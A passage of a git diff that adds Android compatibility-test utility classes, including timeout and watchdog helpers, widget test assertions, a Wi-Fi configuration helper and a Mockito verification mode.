+ public void setThrowable(Throwable t) {
+ mThrowable = t;
+ }
+
+ /**
+ * Wait for the test thread to complete and throw the stored exception if there is one.
+ *
+ * @param runTime The time to wait for the test thread to complete.
+ * @throws Throwable
+ */
+ public void joinAndCheck(long runTime) throws Throwable {
+ this.join(runTime);
+ if (this.isAlive()) {
+ this.interrupt();
+ this.join(runTime);
+ throw new Exception("Thread did not finish within allotted time.");
+ }
+ checkException();
+ }
+
+ /**
+ * Check whether there is an exception when running Runnable object.
+ * @throws Throwable
+ */
+ public void checkException() throws Throwable {
+ if (mThrowable != null) {
+ throw mThrowable;
+ }
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/TestUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/TestUtils.java
new file mode 100644
index 0000000..1702875
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/TestUtils.java
@@ -0,0 +1,97 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import static junit.framework.Assert.fail;
+
+import android.os.SystemClock;
+import android.util.Log;
+
+public class TestUtils {
+ private static final String TAG = "CtsTestUtils";
+
+ private TestUtils() {
+ }
+
+ public static final int DEFAULT_TIMEOUT_SECONDS = 30;
+
+ /** Print an error log and fail. */
+ public static void failWithLog(String message) {
+ Log.e(TAG, message);
+ fail(message);
+ }
+
+ @FunctionalInterface
+ public interface BooleanSupplierWithThrow {
+ boolean getAsBoolean() throws Exception;
+ }
+
+ @FunctionalInterface
+ public interface RunnableWithThrow {
+ void run() throws Exception;
+ }
+
+ /**
+ * Wait until {@code predicate} is satisfied, or fail, with {@link #DEFAULT_TIMEOUT_SECONDS}.
+ */
+ public static void waitUntil(String message, BooleanSupplierWithThrow predicate)
+ throws Exception {
+ waitUntil(message, 0, predicate);
+ }
+
+ /**
+ * Wait until {@code predicate} is satisfied, or fail, with a given timeout.
+ */
+ public static void waitUntil(
+ String message, int timeoutSecond, BooleanSupplierWithThrow predicate)
+ throws Exception {
+ if (timeoutSecond <= 0) {
+ timeoutSecond = DEFAULT_TIMEOUT_SECONDS;
+ }
+ int sleep = 125;
+ final long timeout = SystemClock.uptimeMillis() + timeoutSecond * 1000;
+ while (SystemClock.uptimeMillis() < timeout) {
+ if (predicate.getAsBoolean()) {
+ return; // okay
+ }
+ Thread.sleep(sleep);
+ sleep *= 5;
+ sleep = Math.min(2000, sleep);
+ }
+ failWithLog("Timeout: " + message);
+ }
+
+ /**
+ * Run a Runnable {@code r}, and if it throws, also run {@code onFailure}.
+ */
+ public static void runWithFailureHook(RunnableWithThrow r, RunnableWithThrow onFailure)
+ throws Exception {
+ if (r == null) {
+ throw new NullPointerException("r");
+ }
+ if (onFailure == null) {
+ throw new NullPointerException("onFailure");
+ }
+ try {
+ r.run();
+ } catch (Throwable th) {
+ Log.e(TAG, "Caught exception: " + th, th);
+ onFailure.run();
+ throw th;
+ }
+ }
+}
+
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/TextUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/TextUtils.java
new file mode 100644
index 0000000..639dc9c
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/TextUtils.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import java.util.regex.Pattern;
+
+public class TextUtils {
+ private TextUtils() {
+ }
+
+ /**
+ * Return the first section in {@code source} between the line matches
+ * {@code extractionStartRegex} and the line matches {@code extractionEndRegex}.
+ */
+ public static String extractSection(String source,
+ String extractionStartRegex, boolean startInclusive,
+ String extractionEndRegex, boolean endInclusive) {
+
+ final Pattern start = Pattern.compile(extractionStartRegex);
+ final Pattern end = Pattern.compile(extractionEndRegex);
+
+ final StringBuilder sb = new StringBuilder();
+ final String[] lines = source.split("\\n", -1);
+
+ int i = 0;
+ for (; i < lines.length; i++) {
+ final String line = lines[i];
+ if (start.matcher(line).matches()) {
+ if (startInclusive) {
+ sb.append(line);
+ sb.append('\n');
+ }
+ i++;
+ break;
+ }
+ }
+
+ for (; i < lines.length; i++) {
+ final String line = lines[i];
+ if (end.matcher(line).matches()) {
+ if (endInclusive) {
+ sb.append(line);
+ sb.append('\n');
+ }
+ break;
+ }
+ sb.append(line);
+ sb.append('\n');
+ }
+ return sb.toString();
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/ThreadUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/ThreadUtils.java
new file mode 100644
index 0000000..3948628
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/ThreadUtils.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import android.os.SystemClock;
+
+public final class ThreadUtils {
+ private ThreadUtils() {
+ }
+
+ public static void sleepUntilRealtime(long realtime) throws Exception {
+ Thread.sleep(Math.max(0, realtime - SystemClock.elapsedRealtime()));
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/WatchDog.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/WatchDog.java
new file mode 100644
index 0000000..efcc693
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/WatchDog.java
@@ -0,0 +1,103 @@
+/*
+ * Copyright (C) 2012 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+
+import android.util.Log;
+
+import junit.framework.Assert;
+
+/**
+ * class for checking if rendering function is alive or not.
+ * panic if watch-dog is not reset over certain amount of time
+ */
+public class WatchDog implements Runnable {
+ private static final String TAG = "WatchDog";
+ private Thread mThread;
+ private Semaphore mSemaphore;
+ private volatile boolean mStopRequested;
+ private final long mTimeoutInMilliSecs;
+ private TimeoutCallback mCallback = null;
+
+ public WatchDog(long timeoutInMilliSecs) {
+ mTimeoutInMilliSecs = timeoutInMilliSecs;
+ }
+
+ public WatchDog(long timeoutInMilliSecs, TimeoutCallback callback) {
+ this(timeoutInMilliSecs);
+ mCallback = callback;
+ }
+
+ /** start watch-dog */
+ public void start() {
+ Log.i(TAG, "start");
+ mStopRequested = false;
+ mSemaphore = new Semaphore(0);
+ mThread = new Thread(this);
+ mThread.start();
+ }
+
+ /** stop watch-dog */
+ public void stop() {
+ Log.i(TAG, "stop");
+ if (mThread == null) {
+ return; // already finished
+ }
+ mStopRequested = true;
+ mSemaphore.release();
+ try {
+ mThread.join();
+ } catch (InterruptedException e) {
+ // ignore
+ }
+ mThread = null;
+ mSemaphore = null;
+ }
+
+ /** resets watch-dog, thus prevent it from panic */
+ public void reset() {
+ if (!mStopRequested) { // stop requested, but rendering still on-going
+ mSemaphore.release();
+ }
+ }
+
+ @Override
+ public void run() {
+ while (!mStopRequested) {
+ try {
+ boolean success = mSemaphore.tryAcquire(mTimeoutInMilliSecs, TimeUnit.MILLISECONDS);
+ if (mCallback == null) {
+ Assert.assertTrue("Watchdog timed-out", success);
+ } else if (!success) {
+ mCallback.onTimeout();
+ }
+ } catch (InterruptedException e) {
+ // this thread will not be interrupted,
+ // but if it happens, just check the exit condition.
+ }
+ }
+ }
+
+ /**
+ * Called by the Watchdog when it has timed out.
+ */
+ public interface TimeoutCallback {
+
+ public void onTimeout();
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/WidgetTestUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/WidgetTestUtils.java
new file mode 100644
index 0000000..8f3ab8f
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/WidgetTestUtils.java
@@ -0,0 +1,310 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.content.Context;
+import android.content.res.Resources;
+import android.graphics.Bitmap;
+import android.graphics.BitmapFactory;
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import androidx.test.rule.ActivityTestRule;
+import android.text.Editable;
+import android.text.TextUtils;
+import android.view.View;
+import android.view.ViewTreeObserver;
+
+import junit.framework.Assert;
+
+import org.hamcrest.BaseMatcher;
+import org.hamcrest.Description;
+import org.xmlpull.v1.XmlPullParser;
+import org.xmlpull.v1.XmlPullParserException;
+
+import java.io.IOException;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+import static android.view.ViewTreeObserver.OnDrawListener;
+import static android.view.ViewTreeObserver.OnGlobalLayoutListener;
+import static org.mockito.hamcrest.MockitoHamcrest.argThat;
+
+/**
+ * The useful methods for widget test.
+ */
+public class WidgetTestUtils {
+ /**
+ * Assert that two bitmaps have identical content (same dimensions, same configuration,
+ * same pixel content).
+ *
+ * @param b1 the first bitmap which needs to compare.
+ * @param b2 the second bitmap which needs to compare.
+ */
+ public static void assertEquals(Bitmap b1, Bitmap b2) {
+ if (b1 == b2) {
+ return;
+ }
+
+ if (b1 == null || b2 == null) {
+ Assert.fail("the bitmaps are not equal");
+ }
+
+ // b1 and b2 are all not null.
+ if (b1.getWidth() != b2.getWidth() || b1.getHeight() != b2.getHeight()
+ || b1.getConfig() != b2.getConfig()) {
+ Assert.fail("the bitmaps are not equal");
+ }
+
+ int w = b1.getWidth();
+ int h = b1.getHeight();
+ int s = w * h;
+ int[] pixels1 = new int[s];
+ int[] pixels2 = new int[s];
+
+ b1.getPixels(pixels1, 0, w, 0, 0, w, h);
+ b2.getPixels(pixels2, 0, w, 0, 0, w, h);
+
+ for (int i = 0; i < s; i++) {
+ if (pixels1[i] != pixels2[i]) {
+ Assert.fail("the bitmaps are not equal");
+ }
+ }
+ }
+
+ /**
+ * Find beginning of the special element.
+ * @param parser XmlPullParser will be parsed.
+ * @param firstElementName the target element name.
+ *
+ * @throws XmlPullParserException if XML Pull Parser related faults occur.
+ * @throws IOException if I/O-related error occur when parsing.
+ */
+ public static final void beginDocument(XmlPullParser parser, String firstElementName)
+ throws XmlPullParserException, IOException {
+ Assert.assertNotNull(parser);
+ Assert.assertNotNull(firstElementName);
+
+ int type;
+ while ((type = parser.next()) != XmlPullParser.START_TAG
+ && type != XmlPullParser.END_DOCUMENT) {
+ ;
+ }
+
+ if (!parser.getName().equals(firstElementName)) {
+ throw new XmlPullParserException("Unexpected start tag: found " + parser.getName()
+ + ", expected " + firstElementName);
+ }
+ }
+
+ /**
+ * Compare the expected pixels with actual, scaling for the target context density
+ *
+ * @throws AssertionFailedError
+ */
+ public static void assertScaledPixels(int expected, int actual, Context context) {
+ Assert.assertEquals(expected * context.getResources().getDisplayMetrics().density,
+ actual, 3);
+ }
+
+ /** Converts dips into pixels using the {@link Context}'s density. */
+ public static int convertDipToPixels(Context context, int dip) {
+ float density = context.getResources().getDisplayMetrics().density;
+ return Math.round(density * dip);
+ }
+
+ /**
+ * Retrieve a bitmap that can be used for comparison on any density
+ * @param resources
+ * @return the {@link Bitmap} or <code>null</code>
+ */
+ public static Bitmap getUnscaledBitmap(Resources resources, int resId) {
+ BitmapFactory.Options options = new BitmapFactory.Options();
+ options.inScaled = false;
+ return BitmapFactory.decodeResource(resources, resId, options);
+ }
+
+ /**
+ * Retrieve a dithered bitmap that can be used for comparison on any density
+ * @param resources
+ * @param config the preferred config for the returning bitmap
+ * @return the {@link Bitmap} or <code>null</code>
+ */
+ public static Bitmap getUnscaledAndDitheredBitmap(Resources resources,
+ int resId, Bitmap.Config config) {
+ BitmapFactory.Options options = new BitmapFactory.Options();
+ options.inDither = true;
+ options.inScaled = false;
+ options.inPreferredConfig = config;
+ return BitmapFactory.decodeResource(resources, resId, options);
+ }
+
+ /**
+ * Argument matcher for equality check of a CharSequence.
+ *
+ * @param expected expected CharSequence
+ *
+ * @return
+ */
+ public static CharSequence sameCharSequence(final CharSequence expected) {
+ return argThat(new BaseMatcher<CharSequence>() {
+ @Override
+ public boolean matches(Object o) {
+ if (o instanceof CharSequence) {
+ return TextUtils.equals(expected, (CharSequence) o);
+ }
+ return false;
+ }
+
+ @Override
+ public void describeTo(Description description) {
+ description.appendText("doesn't match " + expected);
+ }
+ });
+ }
+
+ /**
+ * Argument matcher for equality check of an Editable.
+ *
+ * @param expected expected Editable
+ *
+ * @return
+ */
+ public static Editable sameEditable(final Editable expected) {
+ return argThat(new BaseMatcher<Editable>() {
+ @Override
+ public boolean matches(Object o) {
+ if (o instanceof Editable) {
+ return TextUtils.equals(expected, (Editable) o);
+ }
+ return false;
+ }
+
+ @Override
+ public void describeTo(Description description) {
+ description.appendText("doesn't match " + expected);
+ }
+ });
+ }
+
+ /**
+ * Runs the specified Runnable on the main thread and ensures that the specified View's tree is
+ * drawn before returning.
+ *
+ * @param activityTestRule the activity test rule used to run the test
+ * @param view the view whose tree should be drawn before returning
+ * @param runner the runnable to run on the main thread, or {@code null} to
+ * simply force invalidation and a draw pass
+ */
+ public static void runOnMainAndDrawSync(@NonNull final ActivityTestRule activityTestRule,
+ @NonNull final View view, @Nullable final Runnable runner) throws Throwable {
+ final CountDownLatch latch = new CountDownLatch(1);
+
+ activityTestRule.runOnUiThread(() -> {
+ final OnDrawListener listener = new OnDrawListener() {
+ @Override
+ public void onDraw() {
+ // posting so that the sync happens after the draw that's about to happen
+ view.post(() -> {
+ activityTestRule.getActivity().getWindow().getDecorView().
+ getViewTreeObserver().removeOnDrawListener(this);
+ latch.countDown();
+ });
+ }
+ };
+
+ activityTestRule.getActivity().getWindow().getDecorView().
+ getViewTreeObserver().addOnDrawListener(listener);
+
+ if (runner != null) {
+ runner.run();
+ }
+ view.invalidate();
+ });
+
+ try {
+ Assert.assertTrue("Expected draw pass occurred within 5 seconds",
+ latch.await(5, TimeUnit.SECONDS));
+ } catch (InterruptedException e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+ /**
+ * Runs the specified Runnable on the main thread and ensures that the activity's view tree is
+ * laid out before returning.
+ *
+ * @param activityTestRule the activity test rule used to run the test
+ * @param runner the runnable to run on the main thread. {@code null} is
+ * allowed, and simply means that there no runnable is required.
+ * @param forceLayout true if there should be an explicit call to requestLayout(),
+ * false otherwise
+ */
+ public static void runOnMainAndLayoutSync(@NonNull final ActivityTestRule activityTestRule,
+ @Nullable final Runnable runner, boolean forceLayout)
+ throws Throwable {
+ runOnMainAndLayoutSync(activityTestRule,
+ activityTestRule.getActivity().getWindow().getDecorView(), runner, forceLayout);
+ }
+
+ /**
+ * Runs the specified Runnable on the main thread and ensures that the specified view is
+ * laid out before returning.
+ *
+ * @param activityTestRule the activity test rule used to run the test
+ * @param view The view
+ * @param runner the runnable to run on the main thread. {@code null} is
+ * allowed, and simply means that there no runnable is required.
+ * @param forceLayout true if there should be an explicit call to requestLayout(),
+ * false otherwise
+ */
+ public static void runOnMainAndLayoutSync(@NonNull final ActivityTestRule activityTestRule,
+ @NonNull final View view, @Nullable final Runnable runner, boolean forceLayout)
+ throws Throwable {
+ final View rootView = view.getRootView();
+
+ final CountDownLatch latch = new CountDownLatch(1);
+
+ activityTestRule.runOnUiThread(() -> {
+ final OnGlobalLayoutListener listener = new ViewTreeObserver.OnGlobalLayoutListener() {
+ @Override
+ public void onGlobalLayout() {
+ rootView.getViewTreeObserver().removeOnGlobalLayoutListener(this);
+ // countdown immediately since the layout we were waiting on has happened
+ latch.countDown();
+ }
+ };
+
+ rootView.getViewTreeObserver().addOnGlobalLayoutListener(listener);
+
+ if (runner != null) {
+ runner.run();
+ }
+
+ if (forceLayout) {
+ rootView.requestLayout();
+ }
+ });
+
+ try {
+ Assert.assertTrue("Expected layout pass within 5 seconds",
+ latch.await(5, TimeUnit.SECONDS));
+ } catch (InterruptedException e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/WifiConfigCreator.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/WifiConfigCreator.java
new file mode 100755
index 0000000..19d843b
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/WifiConfigCreator.java
@@ -0,0 +1,258 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import static android.net.wifi.WifiManager.EXTRA_WIFI_STATE;
+import static android.net.wifi.WifiManager.WIFI_STATE_ENABLED;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.net.ProxyInfo;
+import android.net.Uri;
+import android.net.wifi.WifiConfiguration;
+import android.net.wifi.WifiManager;
+import android.text.TextUtils;
+import android.util.Log;
+
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * A simple activity to create and manage wifi configurations.
+ */
+public class WifiConfigCreator {
+ public static final String ACTION_CREATE_WIFI_CONFIG =
+ "com.android.compatibility.common.util.CREATE_WIFI_CONFIG";
+ public static final String ACTION_UPDATE_WIFI_CONFIG =
+ "com.android.compatibility.common.util.UPDATE_WIFI_CONFIG";
+ public static final String ACTION_REMOVE_WIFI_CONFIG =
+ "com.android.compatibility.common.util.REMOVE_WIFI_CONFIG";
+ public static final String EXTRA_NETID = "extra-netid";
+ public static final String EXTRA_SSID = "extra-ssid";
+ public static final String EXTRA_SECURITY_TYPE = "extra-security-type";
+ public static final String EXTRA_PASSWORD = "extra-password";
+
+ public static final int SECURITY_TYPE_NONE = 1;
+ public static final int SECURITY_TYPE_WPA = 2;
+ public static final int SECURITY_TYPE_WEP = 3;
+
+ private static final String TAG = "WifiConfigCreator";
+
+ private static final long ENABLE_WIFI_WAIT_SEC = 10L;
+
+ private final Context mContext;
+ private final WifiManager mWifiManager;
+
+ public WifiConfigCreator(Context context) {
+ mContext = context;
+ mWifiManager = (WifiManager) context.getSystemService(Context.WIFI_SERVICE);
+ }
+
+ /**
+ * Adds a new WiFi network.
+ * @return network id or -1 in case of error
+ */
+ public int addNetwork(String ssid, boolean hidden, int securityType,
+ String password) throws InterruptedException, SecurityException {
+ checkAndEnableWifi();
+
+ WifiConfiguration wifiConf = createConfig(ssid, hidden, securityType, password);
+
+ int netId = mWifiManager.addNetwork(wifiConf);
+
+ if (netId != -1) {
+ mWifiManager.enableNetwork(netId, true);
+ } else {
+ Log.w(TAG, "Unable to add SSID '" + ssid + "': netId = " + netId);
+ }
+ return netId;
+ }
+
+ /**
+ * Adds a new wifiConfiguration with OPEN security type, and the given pacProxy
+ * verifies that the proxy is added by getting the configuration back, and checking it.
+ * @return returns the PAC proxy URL after adding the network and getting it from WifiManager
+ * @throws IllegalStateException if any of the WifiManager operations fail
+ */
+ public String addHttpProxyNetworkVerifyAndRemove(String ssid, String pacProxyUrl)
+ throws IllegalStateException {
+ String retrievedPacProxyUrl = null;
+ int netId = -1;
+ try {
+ WifiConfiguration conf = createConfig(ssid, false, SECURITY_TYPE_NONE, null);
+ if (pacProxyUrl != null) {
+ conf.setHttpProxy(ProxyInfo.buildPacProxy(Uri.parse(pacProxyUrl)));
+ }
+ netId = mWifiManager.addNetwork(conf);
+ if (netId == -1) {
+ throw new IllegalStateException("Failed to addNetwork: " + ssid);
+ }
+ for (final WifiConfiguration w : mWifiManager.getConfiguredNetworks()) {
+ if (w.SSID.equals(ssid)) {
+ conf = w;
+ break;
+ }
+ }
+ if (conf == null) {
+ throw new IllegalStateException("Failed to get WifiConfiguration for: " + ssid);
+ }
+ Uri pacProxyFileUri = null;
+ ProxyInfo httpProxy = conf.getHttpProxy();
+ if (httpProxy != null) pacProxyFileUri = httpProxy.getPacFileUrl();
+ if (pacProxyFileUri != null) {
+ retrievedPacProxyUrl = conf.getHttpProxy().getPacFileUrl().toString();
+ }
+ if (!mWifiManager.removeNetwork(netId)) {
+ throw new IllegalStateException("Failed to remove WifiConfiguration: " + ssid);
+ }
+ } finally {
+ mWifiManager.removeNetwork(netId);
+ }
+ return retrievedPacProxyUrl;
+ }
+
+ /**
+ * Updates a new WiFi network.
+ * @return network id (may differ from original) or -1 in case of error
+ */
+ public int updateNetwork(WifiConfiguration wifiConf, String ssid, boolean hidden,
+ int securityType, String password) throws InterruptedException, SecurityException {
+ checkAndEnableWifi();
+ if (wifiConf == null) {
+ return -1;
+ }
+
+ WifiConfiguration conf = createConfig(ssid, hidden, securityType, password);
+ conf.networkId = wifiConf.networkId;
+
+ int newNetId = mWifiManager.updateNetwork(conf);
+
+ if (newNetId != -1) {
+ mWifiManager.saveConfiguration();
+ mWifiManager.enableNetwork(newNetId, true);
+ } else {
+ Log.w(TAG, "Unable to update SSID '" + ssid + "': netId = " + newNetId);
+ }
+ return newNetId;
+ }
+
+ /**
+ * Updates a new WiFi network.
+ * @return network id (may differ from original) or -1 in case of error
+ */
+ public int updateNetwork(int netId, String ssid, boolean hidden,
+ int securityType, String password) throws InterruptedException, SecurityException {
+ checkAndEnableWifi();
+
+ WifiConfiguration wifiConf = null;
+ List<WifiConfiguration> configs = mWifiManager.getConfiguredNetworks();
+ for (WifiConfiguration config : configs) {
+ if (config.networkId == netId) {
+ wifiConf = config;
+ break;
+ }
+ }
+ return updateNetwork(wifiConf, ssid, hidden, securityType, password);
+ }
+
+ public boolean removeNetwork(int netId) {
+ return mWifiManager.removeNetwork(netId);
+ }
+
+ /**
+ * Creates a WifiConfiguration set up according to given parameters
+ * @param ssid SSID of the network
+ * @param hidden Is SSID not broadcast?
+ * @param securityType One of {@link #SECURITY_TYPE_NONE}, {@link #SECURITY_TYPE_WPA} or
+ * {@link #SECURITY_TYPE_WEP}
+ * @param password Password for WPA or WEP
+ * @return Created configuration object
+ */
+ private WifiConfiguration createConfig(String ssid, boolean hidden, int securityType,
+ String password) {
+ WifiConfiguration wifiConf = new WifiConfiguration();
+ if (!TextUtils.isEmpty(ssid)) {
+ wifiConf.SSID = '"' + ssid + '"';
+ }
+ wifiConf.status = WifiConfiguration.Status.ENABLED;
+ wifiConf.hiddenSSID = hidden;
+ switch (securityType) {
+ case SECURITY_TYPE_NONE:
+ wifiConf.allowedKeyManagement.set(WifiConfiguration.KeyMgmt.NONE);
+ break;
+ case SECURITY_TYPE_WPA:
+ updateForWPAConfiguration(wifiConf, password);
+ break;
+ case SECURITY_TYPE_WEP:
+ updateForWEPConfiguration(wifiConf, password);
+ break;
+ }
+ return wifiConf;
+ }
+
+ private void updateForWPAConfiguration(WifiConfiguration wifiConf, String wifiPassword) {
+ wifiConf.allowedKeyManagement.set(WifiConfiguration.KeyMgmt.WPA_PSK);
+ if (!TextUtils.isEmpty(wifiPassword)) {
+ wifiConf.preSharedKey = '"' + wifiPassword + '"';
+ }
+ }
+
+ private void updateForWEPConfiguration(WifiConfiguration wifiConf, String password) {
+ wifiConf.allowedKeyManagement.set(WifiConfiguration.KeyMgmt.NONE);
+ wifiConf.allowedAuthAlgorithms.set(WifiConfiguration.AuthAlgorithm.OPEN);
+ wifiConf.allowedAuthAlgorithms.set(WifiConfiguration.AuthAlgorithm.SHARED);
+ if (!TextUtils.isEmpty(password)) {
+ int length = password.length();
+ if ((length == 10 || length == 26
+ || length == 58) && password.matches("[0-9A-Fa-f]*")) {
+ wifiConf.wepKeys[0] = password;
+ } else {
+ wifiConf.wepKeys[0] = '"' + password + '"';
+ }
+ wifiConf.wepTxKeyIndex = 0;
+ }
+ }
+
+ private void checkAndEnableWifi() throws InterruptedException {
+ final CountDownLatch enabledLatch = new CountDownLatch(1);
+
+ // Register a change receiver first to pick up events between isEnabled and setEnabled
+ final BroadcastReceiver watcher = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ if (intent.getIntExtra(EXTRA_WIFI_STATE, -1) == WIFI_STATE_ENABLED) {
+ enabledLatch.countDown();
+ }
+ }
+ };
+
+ mContext.registerReceiver(watcher, new IntentFilter(WifiManager.WIFI_STATE_CHANGED_ACTION));
+ try {
+ // In case wifi is not already enabled, wait for it to come up
+ if (!mWifiManager.isWifiEnabled()) {
+ mWifiManager.setWifiEnabled(true);
+ enabledLatch.await(ENABLE_WIFI_WAIT_SEC, TimeUnit.SECONDS);
+ }
+ } finally {
+ mContext.unregisterReceiver(watcher);
+ }
+ }
+}
+
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/Within.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/Within.java
new file mode 100644
index 0000000..4d9ff80
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/Within.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import android.os.SystemClock;
+
+import org.mockito.Mockito;
+import org.mockito.exceptions.base.MockitoAssertionError;
+import org.mockito.internal.verification.api.VerificationData;
+import org.mockito.invocation.Invocation;
+import org.mockito.verification.VerificationMode;
+
+import java.util.List;
+
+/**
+ * Custom verification mode that allows waiting for the specific invocation to happen within
+ * a certain time interval. Not that unlike {@link Mockito#timeout(int)}, this mode will not
+ * return early and throw exception if the expected method was called with a different set of
+ * parameters before the call that we're waiting for.
+ */
+public class Within implements VerificationMode {
+ private static final long TIME_SLICE = 50;
+ private final long mTimeout;
+
+ public Within(long timeout) {
+ mTimeout = timeout;
+ }
+
+ @Override
+ public void verify(VerificationData data) {
+ long timeout = mTimeout;
+ MockitoAssertionError errorToRethrow = null;
+ // Loop in the same way we do in PollingCheck, sleeping and then testing for the target
+ // invocation
+ while (timeout > 0) {
+ SystemClock.sleep(TIME_SLICE);
+
+ try {
+ final List<Invocation> actualInvocations = data.getAllInvocations();
+ // Iterate over all invocations so far to see if we have a match
+ for (Invocation invocation : actualInvocations) {
+ if (data.getWanted().matches(invocation)) {
+ // Found our match within our timeout. Mark all invocations as verified
+ markAllInvocationsAsVerified(data);
+ // and return
+ return;
+ }
+ }
+ } catch (MockitoAssertionError assertionError) {
+ errorToRethrow = assertionError;
+ }
+
+ timeout -= TIME_SLICE;
+ }
+
+ if (errorToRethrow != null) {
+ throw errorToRethrow;
+ }
+
+ throw new MockitoAssertionError(
+ "Timed out while waiting " + mTimeout + "ms for " + data.getWanted().toString());
+ }
+
+ // TODO: Uncomment once upgraded to 2.7.13
+ // @Override
+ public VerificationMode description(String description) {
+ // Return this for now.
+ // TODO: Return wrapper once upgraded to 2.7.13
+ return this;
+ }
+
+ private void markAllInvocationsAsVerified(VerificationData data) {
+ for (Invocation invocation : data.getAllInvocations()) {
+ invocation.markVerified();
+ data.getWanted().captureArgumentsFrom(invocation);
+ }
+ }
+}
